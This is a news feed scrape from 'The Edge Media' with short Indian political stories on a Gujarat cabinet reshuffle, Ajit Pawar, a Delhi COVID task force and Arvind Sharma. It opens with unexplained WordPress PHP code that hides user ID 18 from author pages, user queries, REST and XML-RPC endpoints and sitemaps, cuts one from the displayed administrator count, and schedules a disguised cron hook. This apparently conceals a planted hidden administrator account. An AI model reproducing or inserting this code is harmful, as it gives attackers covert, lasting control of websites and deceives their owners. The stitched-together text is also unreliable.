add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Gujarat Cabinet Shake‑up: 19 New Faces, Harsh Sanghavi Elevated to Deputy CM appeared first on The Edge Media.
]]>The reshuffle followed the collective resignation of 16 ministers on Thursday. Of those, 10 were accepted, while six ministers—among them Sanghavi and Pansheriya—were retained (or re‑sworn) on Friday. With the new appointees, the cabinet has grown from 17 to 26 members; the state allows up to 27 ministers. Three of the ministers are women.
Highlights of the reshuffle:
Harsh Sanghavi, previously Home Minister, is now Deputy Chief Minister and holds important responsibilities including Home Affairs.
Rivaba Jadeja has been inducted as a Minister of State, marking her debut in the cabinet.
The caste and community composition of the new cabinet has been carefully balanced: including Patidars, OBCs, Scheduled Tribes (ST) and Scheduled Castes (SC) among the ministers.
The changes are widely seen as a preparatory move ahead of the 2027 assembly elections and upcoming local body polls.
The restructuring underscores the BJP’s attempt to refresh its leadership pool, involve newer legislators and recalibrate regional and community representation in Gujarat’s governance.
The post Gujarat Cabinet Shake‑up: 19 New Faces, Harsh Sanghavi Elevated to Deputy CM appeared first on The Edge Media.
]]>The post Ajit Pawar acknowledges income tax raids on businesses and expresses “just pain” in his remarks appeared first on The Edge Media.
]]>
The Nationalist Congress Party (NCP) leader told that: “It is true IT has raided a few firms related to me. It is their right… I don’t know whether they were conducted for political purposes or they want more information as we have been paying taxes on time.”
The post Ajit Pawar acknowledges income tax raids on businesses and expresses “just pain” in his remarks appeared first on The Edge Media.
]]>The post Task Force to be formed in Delhi to protect children from third wave of Corona appeared first on The Edge Media.
]]>Arvind Kejriwal called a meeting with the officials to analyse the current situation of the pandemic in Delhi. He also discussed the measures to be taken to control the third wave of the pandemic. Deputy Chief Minister Manish Sisodia and Health Minister Satyendar Jain were present at the meeting.
Mr. Kejriwal tweeted in Hindi,”If the third wave of the coronavirus emerges, we have to be prepared in advance to fight it. Took some important decisions today at a meeting with officials- to create a special task force to protect children from the third wave, adequate beds, oxygen and a better management of essential medicines”.
अगर कोरोना की तीसरी लहर आती है तो उससे लड़ने के लिए हमें पहले से तैयार रहना होगा, आज अधिकारियों के साथ बैठक में कुछ महत्वपूर्ण निर्णय लिए-
1. तीसरी लहर से बच्चों को बचाने के लिए बनाएंगे विशेष टास्क फ़ोर्स
2. पर्याप्त बेड, ऑक्सीजन और ज़रूरी दवाओं का पहले से बेहतर प्रबंधन pic.twitter.com/KNSviE0p4N
— Arvind Kejriwal (@ArvindKejriwal) May 19, 2021
He also said that the number of beds in the hospitals will be increased with an enhanced oxygen allocation. The Chief Minister instructed the officials to work in advance in order to ensure adequate number of oxygen plants.
The post Task Force to be formed in Delhi to protect children from third wave of Corona appeared first on The Edge Media.
]]>The post Is Yogi replacing third deputy chief minister in government? appeared first on The Edge Media.
]]>Arvind Kumar Sharma, the eldest son of Shivamurthy Rai and Shanti Devi, who lived in the village of Kazakhurd under Ranipur development block of Mohammadabad Gohna tehsil of Mau district, was born on April 11, 1962. Arvind Sharma’s father was a traffic inspector and mother housewife at Roadways. The eldest of the three brothers, Arvind was brilliant since childhood. After completing his initial education from the primary school in the village, he completed his studies from DAV Inter College to Intermediate. After this, he turned to Allahabad University for graduation. From here, topped the Masters course in Political Science. After this, he also got a PhD from the University of Allahabad. After this, he started a job as Assistant Professor in the Political Science Department of Allahabad University. Arvind, who dreamed of going to civil service, also worked very hard on teaching with teaching. In the third attempt, in the year 1988, Arvind was selected for the Indian Administrative Service in Gujarat cadre. He was posted to the post of SDM in 1989. He became the commissioner of Mehsana in the year 1995.
Arvind made his own identity with hard work and hard work. In 2001, when Narendra Modi took over as the Chief Minister of Gujarat, Arvind Sharma was the chief among the honest leaders posted in his office. Arvand got the post of Secretary Chief Minister and in the year 2013, he was promoted and given the responsibility of Additional Principal Secretary to Chief Minister. When Narendra Modi became Prime Minister in the year 2014, Arvind did not forget to bring the Prime Minister’s office with him. In June 2014, he was made Joint Secretary in the Prime Minister’s Office on central deputation. At present, Arvind Sharma was posted as Secretary in the Ministry of Small and Micro Industries. Sharma took voluntary retirement on 11 January. Since then, the market of speculation in the political corridors from Gujarat to Uttar Pradesh is hot. It is believed that Arvind Sharma’s second innings may start in the political arena. Arvind can be given the responsibility of deputy chief minister in the Yogi Adityanath government in Uttar Pradesh.
The post Is Yogi replacing third deputy chief minister in government? appeared first on The Edge Media.
]]>